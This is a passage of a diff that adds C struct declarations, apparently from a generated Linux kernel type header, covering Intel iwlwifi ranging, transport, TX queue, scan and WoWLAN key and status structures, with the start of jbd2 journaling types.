+ u8 cipher; + u8 hltk[32]; + u8 tk[32]; + __le16 calib[5]; + u16 beacon_interval; + u8 rx_pn[6]; + u8 tx_pn[6]; + u8 r2i_ndp_params; + u8 i2r_ndp_params; + u8 r2i_max_total_ltf; + u8 i2r_max_total_ltf; + u8 bss_color; + u8 band; + __le16 min_time_between_msr; +}; + +struct iwl_tof_range_req_cmd_v11 { + __le32 initiator_flags; + u8 request_id; + u8 num_of_ap; + u8 range_req_bssid[6]; + u8 macaddr_mask[6]; + u8 macaddr_template[6]; + __le32 req_timeout_ms; + __le32 tsf_mac_id; + struct iwl_tof_range_req_ap_entry_v7 ap[5]; +}; + +struct iwl_tof_range_req_cmd_v12 { + __le32 initiator_flags; + u8 request_id; + u8 num_of_ap; + u8 range_req_bssid[6]; + u8 macaddr_mask[6]; + u8 macaddr_template[6]; + __le32 req_timeout_ms; + __le32 tsf_mac_id; + struct iwl_tof_range_req_ap_entry_v8 ap[5]; +}; + +struct iwl_tof_range_req_cmd_v13 { + __le32 initiator_flags; + u8 request_id; + u8 num_of_ap; + u8 range_req_bssid[6]; + u8 macaddr_mask[6]; + u8 macaddr_template[6]; + __le32 req_timeout_ms; + __le32 tsf_mac_id; + struct iwl_tof_range_req_ap_entry_v9 ap[5]; +}; + +struct iwl_tof_range_req_cmd_v14 { + __le32 initiator_flags; + u8 request_id; + u8 num_of_ap; + u8 range_req_bssid[6]; + u8 macaddr_mask[6]; + u8 macaddr_template[6]; + __le32 req_timeout_ms; + __le32 tsf_mac_id; + struct iwl_tof_range_req_ap_entry_v10 ap[5]; +}; + +struct iwl_tof_range_req_cmd_v5 { + __le32 initiator_flags; + u8 request_id; + u8 initiator; + u8 one_sided_los_disable; + u8 req_timeout; + u8 report_policy; + u8 reserved0; + u8 num_of_ap; + u8 macaddr_random; + u8 range_req_bssid[6]; + u8 macaddr_template[6]; + u8 macaddr_mask[6]; + u8 ftm_rx_chains; + u8 ftm_tx_chains; + __le16 common_calib; + __le16 specific_calib; + struct iwl_tof_range_req_ap_entry_v2 ap[5]; +}; + +struct iwl_tof_range_req_cmd_v7 { + __le32 initiator_flags; + u8 request_id; + u8 num_of_ap; + u8 range_req_bssid[6]; + u8 macaddr_mask[6]; + u8 macaddr_template[6]; + __le32 req_timeout_ms; + __le32 tsf_mac_id; + __le16 common_calib; + __le16 specific_calib; + struct iwl_tof_range_req_ap_entry_v3 ap[5]; +}; + +struct iwl_tof_range_req_cmd_v8 { + __le32 initiator_flags; + u8 request_id; + u8 num_of_ap; + u8 range_req_bssid[6]; + u8 macaddr_mask[6]; + u8 macaddr_template[6]; + __le32 req_timeout_ms; + __le32 tsf_mac_id; + __le16 common_calib; + __le16 specific_calib; + struct iwl_tof_range_req_ap_entry_v4 ap[5]; +}; + +struct iwl_tof_range_req_cmd_v9 { + __le32 initiator_flags; + u8 request_id; + u8 num_of_ap; + u8 range_req_bssid[6]; + u8 macaddr_mask[6]; + u8 macaddr_template[6]; + __le32 req_timeout_ms; + __le32 tsf_mac_id; + struct iwl_tof_range_req_ap_entry_v6 ap[5]; +}; + +struct iwl_tof_range_rsp_ap_entry_ntfy_v3 { + u8 bssid[6]; + u8 measure_status; + u8 measure_bw; + __le32 rtt; + __le32 rtt_variance; + __le32 rtt_spread; + s8 rssi; + u8 rssi_spread; + u8 reserved; + u8 refusal_period; + __le32 range; + __le32 range_variance; + __le32 timestamp; + __le32 t2t3_initiator; + __le32 t1t4_responder; + __le16 common_calib; + __le16 specific_calib; + __le32 papd_calib_output; +}; + +struct iwl_tof_range_rsp_ap_entry_ntfy_v4 { + u8 bssid[6]; + u8 measure_status; + u8 measure_bw; + __le32 rtt; + __le32 rtt_variance; + __le32 rtt_spread; + s8 rssi; + u8 rssi_spread; + u8 last_burst; + u8 refusal_period; + __le32 timestamp; + __le32 start_tsf; + __le32 rx_rate_n_flags; + __le32 tx_rate_n_flags; + __le32 t2t3_initiator; + __le32 t1t4_responder; + __le16 common_calib; + __le16 specific_calib; + __le32 papd_calib_output; +}; + +struct iwl_tof_range_rsp_ap_entry_ntfy_v5 { + u8 bssid[6]; + u8 measure_status; + u8 measure_bw; + __le32 rtt; + __le32 rtt_variance; + __le32 rtt_spread; + s8 rssi; + u8 rssi_spread; + u8 last_burst; + u8 refusal_period; + __le32 timestamp; + __le32 start_tsf; + __le32 rx_rate_n_flags; + __le32 tx_rate_n_flags; + __le32 t2t3_initiator; + __le32 t1t4_responder; + __le16 common_calib; + __le16 specific_calib; + __le32 papd_calib_output; + u8 rttConfidence; + u8 reserved[3]; +}; + +struct iwl_tof_range_rsp_ap_entry_ntfy_v6 { + u8 bssid[6]; + u8 measure_status; + u8 measure_bw; + __le32 rtt; + __le32 rtt_variance; + __le32 rtt_spread; + s8 rssi; + u8 rssi_spread; + u8 last_burst; + u8 refusal_period; + __le32 timestamp; + __le32 start_tsf; + __le32 rx_rate_n_flags; + __le32 tx_rate_n_flags; + __le32 t2t3_initiator; + __le32 t1t4_responder; + __le16 common_calib; + __le16 specific_calib; + __le32 papd_calib_output; + u8 rttConfidence; + u8 reserved[3]; + u8 rx_pn[6]; + u8 tx_pn[6]; +}; + +struct iwl_tof_range_rsp_ntfy_v5 { + u8 request_id; + u8 request_status; + u8 last_in_batch; + u8 num_of_aps; + struct iwl_tof_range_rsp_ap_entry_ntfy_v3 ap[5]; +}; + +struct iwl_tof_range_rsp_ntfy_v6 { + u8 request_id; + u8 num_of_aps; + u8 last_report; + u8 reserved; + struct iwl_tof_range_rsp_ap_entry_ntfy_v4 ap[5]; +}; + +struct iwl_tof_range_rsp_ntfy_v7 { + u8 request_id; + u8 num_of_aps; + u8 last_report; + u8 reserved; + struct iwl_tof_range_rsp_ap_entry_ntfy_v5 ap[5]; +}; + +struct iwl_tof_range_rsp_ntfy_v8 { + u8 request_id; + u8 num_of_aps; + u8 last_report; + u8 reserved; + struct iwl_tof_range_rsp_ap_entry_ntfy_v6 ap[5]; +}; + +struct iwl_tof_responder_config_cmd { + __le32 cmd_valid_fields; + __le32 responder_cfg_flags; + u8 format_bw; + u8 bss_color; + u8 channel_num; + u8 ctrl_ch_position; + u8 sta_id; + u8 band; + __le16 toa_offset; + __le16 common_calib; + __le16 specific_calib; + u8 bssid[6]; + u8 r2i_ndp_params; + u8 i2r_ndp_params; + __le16 min_time_between_msr; + __le16 max_time_between_msr; +}; + +struct iwl_tof_responder_dyn_config_cmd { + u8 cipher; + u8 valid_flags; + u8 lci_len; + u8 civic_len; + u8 lci_buf[160]; + u8 civic_buf[160]; + u8 hltk_buf[32]; + u8 addr[6]; + u8 reserved[2]; +}; + +struct iwl_tof_responder_dyn_config_cmd_v2 { + __le32 lci_len; + __le32 civic_len; + u8 lci_civic[0]; +}; + +struct iwl_trans_debug { + u8 n_dest_reg; + bool rec_on; + const struct iwl_fw_dbg_dest_tlv_v1 *dest_tlv; + const struct iwl_fw_dbg_conf_tlv *conf_tlv[32]; + struct iwl_fw_dbg_trigger_tlv * const *trigger_tlv; + u32 lmac_error_event_table[2]; + u32 umac_error_event_table; + u32 tcm_error_event_table[2]; + u32 rcm_error_event_table[2]; + unsigned int error_event_table_tlv_status; + enum iwl_ini_cfg_state internal_ini_cfg; + enum iwl_ini_cfg_state external_ini_cfg; + struct iwl_fw_ini_allocation_tlv fw_mon_cfg[5]; + struct iwl_fw_mon fw_mon_ini[5]; + struct iwl_dram_data fw_mon; + bool hw_error; + enum iwl_fw_ini_buffer_location ini_dest; + u64 unsupported_region_msk; + struct iwl_ucode_tlv *active_regions[64]; + struct list_head debug_info_tlv_list; + struct iwl_dbg_tlv_time_point_data time_point[32]; + struct list_head periodic_trig_list; + u32 domains_bitmap; + u32 ucode_preset; + bool restart_required; + u32 last_tp_resetfw; + struct iwl_imr_data imr_data; + u8 dump_file_name_ext[32]; + bool dump_file_name_ext_valid; + u32 num_pc; + struct iwl_pc_data *pc_data; + bool yoyo_bin_loaded; +}; + +struct iwl_trans { + bool csme_own; + struct iwl_op_mode *op_mode; + const struct iwl_cfg_trans_params *trans_cfg; + const struct iwl_cfg *cfg; + struct iwl_drv *drv; + enum iwl_trans_state state; + unsigned long status; + struct device *dev; + u32 max_skb_frags; + u32 hw_rev; + u32 hw_rev_step; + u32 hw_rf_id; + u32 hw_crf_id; + u32 hw_cnv_id; + u32 hw_wfpm_id; + u32 hw_id; + char hw_id_str[52]; + u32 sku_id[3]; + bool reduced_cap_sku; + u8 no_160: 1; + u8 step_urm: 1; + u8 rx_mpdu_cmd; + u8 rx_mpdu_cmd_hdr_size; + bool pm_support; + bool ltr_enabled; + u8 pnvm_loaded: 1; + u8 fail_to_parse_pnvm_image: 1; + u8 reduce_power_loaded: 1; + u8 failed_to_load_reduce_power_image: 1; + const struct iwl_hcmd_arr *command_groups; + int command_groups_size; + bool wide_cmd_header; + wait_queue_head_t wait_command_queue; + u8 num_rx_queues; + size_t iml_len; + u8 *iml; + struct kmem_cache *dev_cmd_pool; + char dev_cmd_pool_name[50]; + struct dentry *dbgfs_dir; + struct lockdep_map sync_cmd_lockdep_map; + struct iwl_trans_debug dbg; + struct iwl_self_init_dram init_dram; + enum iwl_plat_pm_mode system_pm_mode; + const char *name; + u32 mbx_addr_0_step; + u32 mbx_addr_1_step; + u8 pcie_link_speed; + struct iwl_dma_ptr invalid_tx_cmd; + char trans_specific[0]; +}; + +struct iwl_trans_config { + struct iwl_op_mode *op_mode; + u8 cmd_queue; + u8 cmd_fifo; + const u8 *no_reclaim_cmds; + unsigned int n_no_reclaim_cmds; + enum iwl_amsdu_size rx_buf_size; + bool bc_table_dword; + bool scd_set_active; + const struct iwl_hcmd_arr *command_groups; + int command_groups_size; + u8 cb_data_offs; + bool fw_reset_handshake; + u8 queue_alloc_cmd_ver; +}; + +struct iwl_trans_dump_data { + u32 len; + u8 data[0]; +}; + +struct iwl_trans_pcie { + struct iwl_rxq *rxq; + struct iwl_rx_mem_buffer *rx_pool; + struct iwl_rx_mem_buffer **global_table; + struct iwl_rb_allocator rba; + union { + struct iwl_context_info *ctxt_info; + struct iwl_context_info_gen3 *ctxt_info_gen3; + }; + struct iwl_prph_info *prph_info; + struct iwl_prph_scratch *prph_scratch; + void *iml; + dma_addr_t ctxt_info_dma_addr; + dma_addr_t prph_info_dma_addr; + dma_addr_t prph_scratch_dma_addr; + dma_addr_t iml_dma_addr; + struct iwl_trans *trans; + struct net_device *napi_dev; + __le32 *ict_tbl; + dma_addr_t ict_tbl_dma; + int ict_index; + bool use_ict; + bool is_down; + bool opmode_down; + s8 debug_rfkill; + struct isr_statistics isr_stats; + spinlock_t irq_lock; + struct mutex mutex; + u32 inta_mask; + u32 scd_base_addr; + struct iwl_dma_ptr kw; + struct iwl_dram_regions pnvm_data; + struct iwl_dram_regions reduced_tables_data; + struct iwl_txq *txq_memory; + struct pci_dev *pci_dev; + u8 *hw_base; + bool ucode_write_complete; + bool sx_complete; + wait_queue_head_t ucode_write_waitq; + wait_queue_head_t sx_waitq; + u8 n_no_reclaim_cmds; + u8 no_reclaim_cmds[6]; + u16 num_rx_bufs; + enum iwl_amsdu_size rx_buf_size; + bool scd_set_active; + bool pcie_dbg_dumped_once; + u32 rx_page_order; + u32 rx_buf_bytes; + u32 supported_dma_mask; + spinlock_t alloc_page_lock; + struct page *alloc_page; + u32 alloc_page_used; + spinlock_t reg_lock; + bool cmd_hold_nic_awake; + struct msix_entry msix_entries[16]; + bool msix_enabled; + u8 shared_vec_mask; + u32 alloc_vecs; + u32 def_irq; + u32 fh_init_mask; + u32 hw_init_mask; + u32 fh_mask; + u32 hw_mask; + cpumask_t affinity_mask[16]; + u16 tx_cmd_queue_size; + bool in_rescan; + void *base_rb_stts; + dma_addr_t base_rb_stts_dma; + bool fw_reset_handshake; + enum iwl_pcie_fw_reset_state fw_reset_state; + wait_queue_head_t fw_reset_waitq; + enum iwl_pcie_imr_status imr_status; + wait_queue_head_t imr_waitq; + char rf_name[32]; + struct iwl_pcie_txqs txqs; +}; + +struct iwl_trans_pcie_removal { + struct pci_dev *pdev; + struct work_struct work; + bool rescan; +}; + +struct iwl_trans_rxq_dma_data { + u64 fr_bd_cb; + u32 fr_bd_wid; + u64 urbd_stts_wrptr; + u64 ur_bd_cb; +}; + +struct iwl_trans_txq_scd_cfg { + u8 fifo; + u8 sta_id; + u8 tid; + bool aggregate; + int frame_limit; +}; + +struct iwl_trip_walk_data { + __le16 *thresholds; + int count; +}; + +struct iwl_tso_hdr_page { + struct page *page; + u8 *pos; +}; + +struct iwl_tso_page_info { + dma_addr_t dma_addr; + struct page *next; + refcount_t use_count; +}; + +struct iwl_tt_restriction { + enum iwl_antenna_ok tx_stream; + enum iwl_antenna_ok rx_stream; + bool is_ht; +}; + +struct iwl_tt_trans { + enum iwl_tt_state next_state; + u32 tt_low; + u32 tt_high; +}; + +struct iwl_tx_ant_cfg_cmd { + __le32 valid; +}; + +struct iwl_tx_ant_config_cmd { + __le32 valid; +}; + +struct iwl_tx_beacon_cmd { + struct iwl_tx_cmd___2 tx; + __le16 tim_idx; + u8 tim_size; + u8 reserved1; + struct ieee80211_hdr frame[0]; +}; + +struct iwl_tx_cmd_gen2 { + __le16 len; + __le16 offload_assist; + __le32 flags; + struct iwl_dram_sec_info dram_info; + __le32 rate_n_flags; + struct ieee80211_hdr hdr[0]; +}; + +struct iwl_tx_cmd_gen3 { + __le16 len; + __le16 flags; + __le32 offload_assist; + struct iwl_dram_sec_info dram_info; + __le32 rate_n_flags; + u8 reserved[8]; + struct ieee80211_hdr hdr[0]; +}; + +struct iwl_tx_path_flush_cmd { + __le32 sta_id; + __le16 tid_mask; + __le16 reserved; +}; + +struct iwl_tx_path_flush_cmd_rsp { + __le16 sta_id; + __le16 num_flushed_queues; + struct iwl_flush_queue_info queues[16]; +}; + +struct iwl_tx_path_flush_cmd_v1 { + __le32 queues_ctl; + __le16 flush_ctl; + __le16 reserved; +}; + +struct iwl_tx_queue_cfg_cmd { + u8 sta_id; + u8 tid; + __le16 flags; + __le32 cb_size; + __le64 byte_cnt_addr; + __le64 tfdq_addr; +}; + +struct iwl_tx_queue_cfg_rsp { + __le16 queue_number; + __le16 flags; + __le16 write_pointer; + __le16 reserved; +}; + +struct iwl_tx_resp_v3 { + u8 frame_count; + u8 bt_kill_count; + u8 failure_rts; + u8 failure_frame; + __le32 initial_rate; + __le16 wireless_media_time; + u8 pa_status; + u8 pa_integ_res_a[3]; + u8 pa_integ_res_b[3]; + u8 pa_integ_res_c[3]; + __le16 measurement_req_id; + u8 reduced_tpc; + u8 reserved; + __le32 tfd_info; + __le16 seq_ctl; + __le16 byte_cnt; + u8 tlc_info; + u8 ra_tid; + __le16 frame_ctrl; + struct agg_tx_status status[0]; +}; + +struct iwl_txfifo_flush_cmd_v2 { + __le16 queue_control; + __le16 flush_control; +}; + +struct iwl_txfifo_flush_cmd_v3 { + __le32 queue_control; + __le16 flush_control; + __le16 reserved; +}; + +struct iwl_txpower_constraints_cmd { + __le16 link_id; + __le16 ap_type; + __s8 eirp_pwr[5]; + __s8 psd_pwr[16]; + u8 reserved[3]; +}; + +struct iwl_txq { + void *tfds; + struct iwl_pcie_first_tb_buf *first_tb_bufs; + dma_addr_t first_tb_dma; + struct iwl_pcie_txq_entry *entries; + spinlock_t lock; + spinlock_t reclaim_lock; + unsigned long frozen_expiry_remainder; + struct timer_list stuck_timer; + struct iwl_trans *trans; + bool need_update; + bool frozen; + bool ampdu; + int block; + unsigned long wd_timeout; + struct sk_buff_head overflow_q; + struct iwl_dma_ptr bc_tbl; + int write_ptr; + int read_ptr; + dma_addr_t dma_addr; + int n_window; + u32 id; + int low_mark; + int high_mark; + bool overflow_tx; +}; + +struct iwl_uapsd_misbehaving_ap_notif { + __le32 sta_id; + u8 mac_id; + u8 reserved[3]; +}; + +struct iwl_ucode_api { + __le32 api_index; + __le32 api_flags; +}; + +struct iwl_ucode_capa { + __le32 api_index; + __le32 api_capa; +}; + +struct iwl_ucode_header { + __le32 ver; + union { + struct { + __le32 inst_size; + __le32 data_size; + __le32 init_size; + __le32 init_data_size; + __le32 boot_size; + u8 data[0]; + } v1; + struct { + __le32 build; + __le32 inst_size; + __le32 data_size; + __le32 init_size; + __le32 init_data_size; + __le32 boot_size; + u8 data[0]; + } v2; + } u; +}; + +struct iwl_uefi_pnvm_mem_desc { + __le32 addr; + __le32 size; + const u8 data[0]; +}; + +struct iwl_umac_error_event_table { + u32 valid; + u32 error_id; + u32 blink1; + u32 blink2; + u32 ilink1; + u32 ilink2; + u32 data1; + u32 data2; + u32 data3; + u32 umac_major; + u32 umac_minor; + u32 frame_pointer; + u32 stack_pointer; + u32 cmd_header; + u32 nic_isr_pref; +}; + +struct iwl_umac_scan_abort { + __le32 uid; + __le32 flags; +}; + +struct iwl_umac_scan_channel_survey_notif { + __le32 channel; + __le32 band; + u8 noise[22]; + u8 reserved[2]; + __le32 active_time; + __le32 busy_time; + __le32 tx_time; + __le32 rx_time; +}; + +struct iwl_umac_scan_complete { + __le32 uid; + u8 last_schedule; + u8 last_iter; + u8 status; + u8 ebs_status; + __le32 time_from_last_iter; + __le32 reserved; +}; + +struct iwl_umac_scan_iter_complete_notif { + __le32 uid; + u8 scanned_channels; + u8 status; + u8 bt_status; + u8 last_channel; + __le64 start_tsf; + struct iwl_scan_results_notif results[0]; +}; + +struct iwl_vif_priv { + struct iwl_rxon_context *ctx; + u8 ibss_bssid_sta_id; +}; + +struct iwl_wep_cmd { + u8 num_keys; + u8 global_key_type; + u8 flags; + u8 reserved; + struct iwl_wep_key key[0]; +}; + +struct iwl_wimax_coex_event_entry { + u8 request_prio; + u8 win_medium_prio; + u8 reserved; + u8 flags; +}; + +struct iwl_wimax_coex_cmd { + u8 flags; + u8 reserved[3]; + struct iwl_wimax_coex_event_entry sta_prio[16]; +}; + +struct iwl_wipan_noa_descriptor { + u8 count; + __le32 duration; + __le32 interval; + __le32 starttime; +} __attribute__((packed)); + +struct iwl_wipan_noa_attribute { + u8 id; + __le16 length; + u8 index; + u8 ct_window; + struct iwl_wipan_noa_descriptor descr0; + struct iwl_wipan_noa_descriptor descr1; + u8 reserved; +} __attribute__((packed)); + +struct iwl_wipan_noa_data { + struct callback_head callback_head; + u32 length; + u8 data[0]; +}; + +struct iwl_wipan_noa_notification { + u32 noa_active; + struct iwl_wipan_noa_attribute noa_attribute; +}; + +struct iwl_wipan_slot { + __le16 width; + u8 type; + u8 reserved; +}; + +struct iwl_wipan_params_cmd { + __le16 flags; + u8 reserved; + u8 num_slots; + struct iwl_wipan_slot slots[10]; +}; + +struct iwl_wowlan_all_rsc_tsc_v5 { + __le64 ucast_rsc[8]; + __le64 mcast_rsc[16]; + __le32 sta_id; + u8 mcast_key_id_map[4]; +}; + +struct iwl_wowlan_config_cmd { + __le32 wakeup_filter; + __le16 non_qos_seq; + __le16 qos_seq[8]; + u8 wowlan_ba_teardown_tids; + u8 is_11n_connection; + u8 offloading_tid; + u8 flags; + u8 sta_id; + u8 reserved; +}; + +struct iwl_wowlan_get_status_cmd { + __le32 sta_id; +}; + +struct iwl_wowlan_rsc_tsc_params_cmd_ver_2 { + union iwl_all_tsc_rsc all_tsc_rsc; +}; + +struct iwl_wowlan_gtk_status_v1 { + u8 key_index; + u8 reserved[3]; + u8 decrypt_key[16]; + u8 tkip_mic_key[8]; + struct iwl_wowlan_rsc_tsc_params_cmd_ver_2 rsc; +} __attribute__((packed)); + +struct iwl_wowlan_gtk_status_v2 { + u8 key[32]; + u8 key_len; + u8 key_flags; + u8 reserved[2]; + u8 tkip_mic_key[8]; + struct iwl_wowlan_rsc_tsc_params_cmd_ver_2 rsc; +} __attribute__((packed)); + +struct iwl_wowlan_gtk_status_v3 { + u8 key[32]; + u8 key_len; + u8 key_flags; + u8 reserved[2]; + u8 tkip_mic_key[8]; + struct iwl_wowlan_all_rsc_tsc_v5 sc; +} __attribute__((packed)); + +struct iwl_wowlan_igtk_status { + u8 key[32]; + u8 ipn[6]; + u8 key_len; + u8 key_flags; +}; + +struct iwl_wowlan_mlo_gtk { + u8 key[32]; + __le16 flags; + u8 pn[6]; +}; + +struct iwl_wowlan_info_notif { + struct iwl_wowlan_gtk_status_v3 gtk[2]; + struct iwl_wowlan_igtk_status igtk[2]; + struct iwl_wowlan_igtk_status bigtk[2]; + __le64 replay_ctr; + __le16 pattern_number; + __le16 reserved1; + __le16 qos_seq_ctr[8]; + __le32 wakeup_reasons; + __le32 num_of_gtk_rekeys; + __le32 transmitted_ndps; + __le32 received_beacons; + u8 tid_tear_down; + u8 station_id; + u8 num_mlo_link_keys; + u8 reserved2; + struct iwl_wowlan_mlo_gtk mlo_gtks[0]; +}; + +struct iwl_wowlan_info_notif_v1 { + struct iwl_wowlan_gtk_status_v3 gtk[2]; + struct iwl_wowlan_igtk_status igtk[2]; + __le64 replay_ctr; + __le16 pattern_number; + __le16 reserved1; + __le16 qos_seq_ctr[8]; + __le32 wakeup_reasons; + __le32 num_of_gtk_rekeys; + __le32 transmitted_ndps; + __le32 received_beacons; + __le32 wake_packet_length; + __le32 wake_packet_bufsize; + u8 tid_tear_down; + u8 station_id; + u8 reserved2[2]; +}; + +struct iwl_wowlan_info_notif_v2 { + struct iwl_wowlan_gtk_status_v3 gtk[2]; + struct iwl_wowlan_igtk_status igtk[2]; + __le64 replay_ctr; + __le16 pattern_number; + __le16 reserved1; + __le16 qos_seq_ctr[8]; + __le32 wakeup_reasons; + __le32 num_of_gtk_rekeys; + __le32 transmitted_ndps; + __le32 received_beacons; + u8 tid_tear_down; + u8 station_id; + u8 reserved2[2]; +}; + +struct iwl_wowlan_ipv4_tcp_syn { + u8 src_addr[4]; + u8 dst_addr[4]; + __le16 src_port; + __le16 dst_port; +}; + +struct iwl_wowlan_ipv6_tcp_syn { + u8 src_addr[16]; + u8 dst_addr[16]; + __le16 src_port; + __le16 dst_port; +}; + +struct iwl_wowlan_kek_kck_material_cmd_v4 { + __le32 sta_id; + u8 kck[32]; + u8 kek[32]; + __le16 kck_len; + __le16 kek_len; + __le64 replay_ctr; + __le32 akm; + __le32 gtk_cipher; + __le32 igtk_cipher; + __le32 bigtk_cipher; +}; + +struct iwl_wowlan_pattern_v1 { + u8 mask[16]; + u8 pattern[128]; + u8 mask_size; + u8 pattern_size; + __le16 reserved; +}; + +union iwl_wowlan_pattern_data { + struct iwl_wowlan_pattern_v1 bitmask; + struct iwl_wowlan_ipv4_tcp_syn ipv4_tcp_syn; + struct iwl_wowlan_ipv6_tcp_syn ipv6_tcp_syn; +}; + +struct iwl_wowlan_pattern_v2 { + u8 pattern_type; + u8 reserved[3]; + union iwl_wowlan_pattern_data u; +}; + +struct iwl_wowlan_patterns_cmd { + u8 n_patterns; + u8 sta_id; + __le16 reserved; + struct iwl_wowlan_pattern_v2 patterns[0]; +}; + +struct iwl_wowlan_patterns_cmd_v1 { + __le32 n_patterns; + struct iwl_wowlan_pattern_v1 patterns[0]; +}; + +struct iwl_wowlan_rsc_tsc_params_cmd { + __le64 ucast_rsc[8]; + __le64 mcast_rsc[16]; + __le32 sta_id; + u8 mcast_key_id_map[4]; +}; + +struct iwl_wowlan_rsc_tsc_params_cmd_v4 { + struct iwl_wowlan_rsc_tsc_params_cmd_ver_2 params; + __le32 sta_id; +} __attribute__((packed)); + +struct iwl_wowlan_status_data { + u64 replay_ctr; + u32 num_of_gtk_rekeys; + u32 received_beacons; + u32 wakeup_reasons; + u32 wake_packet_length; + u32 wake_packet_bufsize; + u16 pattern_number; + u16 non_qos_seq_ctr; + u16 qos_seq_ctr[8]; + u8 tid_tear_down; + struct { + u8 key[32]; + u8 len; + u8 flags; + u8 id; + } gtk[2]; + struct { + struct { + struct ieee80211_key_seq seq[8]; + } tkip; + struct { + struct ieee80211_key_seq seq[8]; + } aes; + s8 key_id; + bool valid; + } gtk_seq[2]; + struct { + struct { + struct ieee80211_key_seq seq[8]; + u64 tx_pn; + } tkip; + struct { + struct ieee80211_key_seq seq[8]; + u64 tx_pn; + } aes; + } ptk; + struct iwl_multicast_key_data igtk; + struct iwl_multicast_key_data bigtk[2]; + int num_mlo_keys; + struct iwl_wowlan_mlo_gtk mlo_keys[18]; + u8 *wake_packet; +}; + +struct iwl_wowlan_status_v12 { + struct iwl_wowlan_gtk_status_v3 gtk[2]; + struct iwl_wowlan_igtk_status igtk[2]; + __le64 replay_ctr; + __le16 pattern_number; + __le16 non_qos_seq_ctr; + __le16 qos_seq_ctr[8]; + __le32 wakeup_reasons; + __le32 num_of_gtk_rekeys; + __le32 transmitted_ndps; + __le32 received_beacons; + __le32 wake_packet_length; + __le32 wake_packet_bufsize; + u8 tid_tear_down; + u8 reserved[3]; + u8 wake_packet[0]; +}; + +struct iwl_wowlan_status_v6 { + struct iwl_wowlan_gtk_status_v1 gtk; + __le64 replay_ctr; + __le16 pattern_number; + __le16 non_qos_seq_ctr; + __le16 qos_seq_ctr[8]; + __le32 wakeup_reasons; + __le32 num_of_gtk_rekeys; + __le32 transmitted_ndps; + __le32 received_beacons; + __le32 wake_packet_length; + __le32 wake_packet_bufsize; + u8 wake_packet[0]; +} __attribute__((packed)); + +struct iwl_wowlan_status_v7 { + struct iwl_wowlan_gtk_status_v2 gtk[2]; + struct iwl_wowlan_igtk_status igtk[2]; + __le64 replay_ctr; + __le16 pattern_number; + __le16 non_qos_seq_ctr; + __le16 qos_seq_ctr[8]; + __le32 wakeup_reasons; + __le32 num_of_gtk_rekeys; + __le32 transmitted_ndps; + __le32 received_beacons; + __le32 wake_packet_length; + __le32 wake_packet_bufsize; + u8 wake_packet[0]; +} __attribute__((packed)); + +struct iwl_wowlan_status_v9 { + struct iwl_wowlan_gtk_status_v2 gtk[2]; + struct iwl_wowlan_igtk_status igtk[2]; + __le64 replay_ctr; + __le16 pattern_number; + __le16 non_qos_seq_ctr; + __le16 qos_seq_ctr[8]; + __le32 wakeup_reasons; + __le32 num_of_gtk_rekeys; + __le32 transmitted_ndps; + __le32 received_beacons; + __le32 wake_packet_length; + __le32 wake_packet_bufsize; + u8 tid_tear_down; + u8 reserved[3]; + u8 wake_packet[0]; +}; + +struct iwl_wowlan_tkip_params_cmd { + struct iwl_mic_keys mic_keys; + struct iwl_p1k_cache tx; + struct iwl_p1k_cache rx_uni[2]; + struct iwl_p1k_cache rx_multi[2]; + u8 reversed[2]; + __le32 sta_id; +}; + +struct iwl_wowlan_wake_pkt_notif { + __le32 wake_packet_length; + u8 station_id; + u8 reserved[3]; + u8 wake_packet[1]; +} __attribute__((packed)); + +struct iwlagn_aes_rsc_tsc { + struct aes_sc unicast_rsc[16]; + struct aes_sc multicast_rsc[16]; + struct aes_sc tsc; +}; + +struct iwlagn_tkip_rsc_tsc { + struct tkip_sc unicast_rsc[16]; + struct tkip_sc multicast_rsc[16]; + struct tkip_sc tsc; +}; + +union iwlagn_all_tsc_rsc { + struct iwlagn_tkip_rsc_tsc tkip; + struct iwlagn_aes_rsc_tsc aes; +}; + +struct iwlagn_tx_resp { + u8 frame_count; + u8 bt_kill_count; + u8 failure_rts; + u8 failure_frame; + __le32 rate_n_flags; + __le16 wireless_media_time; + u8 pa_status; + u8 pa_integ_res_a[3]; + u8 pa_integ_res_b[3]; + u8 pa_integ_res_C[3]; + __le32 tfd_info; + __le16 seq_ctl; + __le16 byte_cnt; + u8 tlc_info; + u8 ra_tid; + __le16 frame_ctrl; + struct agg_tx_status status; +}; + +struct iwlagn_beacon_notif { + struct iwlagn_tx_resp beacon_notify_hdr; + __le32 low_tsf; + __le32 high_tsf; + __le32 ibss_mgr_status; +}; + +struct iwlagn_d3_config_cmd { + __le32 min_sleep_time; + __le32 wakeup_flags; +}; + +struct iwlagn_mic_keys { + u8 tx[8]; + u8 rx_unicast[8]; + u8 rx_mcast[8]; +}; + +struct iwlagn_non_cfg_phy { + __le32 non_cfg_phy[8]; +}; + +struct iwlagn_p1k_cache { + __le16 p1k[5]; +}; + +struct iwlagn_scd_bc_tbl { + __le16 tfd_offset[320]; +}; + +struct iwlagn_tx_power_dbm_cmd { + s8 global_lmt; + u8 flags; + s8 srv_chan_lmt; + u8 reserved; +}; + +struct iwlagn_wowlan_kek_kck_material_cmd { + u8 kck[32]; + u8 kek[32]; + __le16 kck_len; + __le16 kek_len; + __le64 replay_ctr; +} __attribute__((packed)); + +struct iwlagn_wowlan_pattern { + u8 mask[16]; + u8 pattern[128]; + u8 mask_size; + u8 pattern_size; + __le16 reserved; +}; + +struct iwlagn_wowlan_patterns_cmd { + __le32 n_patterns; + struct iwlagn_wowlan_pattern patterns[0]; +}; + +struct iwlagn_wowlan_rsc_tsc_params_cmd { + union iwlagn_all_tsc_rsc all_tsc_rsc; +}; + +struct iwlagn_wowlan_status { + __le64 replay_ctr; + __le32 rekey_status; + __le32 wakeup_reason; + u8 pattern_number; + u8 reserved1; + __le16 qos_seq_ctr[8]; + __le16 non_qos_seq_ctr; + __le16 reserved2; + union iwlagn_all_tsc_rsc tsc_rsc; + __le16 reserved3; +} __attribute__((packed)); + +struct iwlagn_wowlan_tkip_params_cmd { + struct iwlagn_mic_keys mic_keys; + struct iwlagn_p1k_cache tx; + struct iwlagn_p1k_cache rx_uni[2]; + struct iwlagn_p1k_cache rx_multi[2]; +}; + +struct iwlagn_wowlan_wakeup_filter_cmd { + __le32 enabled; + __le16 non_qos_seq; + __le16 reserved; + __le16 qos_seq[8]; +}; + +struct iwlwifi_opmode_table { + const char *name; + const struct iwl_op_mode_ops *ops; + struct list_head drv; +}; + +struct transaction_s; + +typedef struct transaction_s transaction_t; + +struct jbd2_inode { + transaction_t *i_transaction; + transaction_t *i_next_transaction; + struct list_head i_list; + struct inode *i_vfs_inode; + unsigned long i_flags; + loff_t i_dirty_start; + loff_t i_dirty_end; +}; + +struct 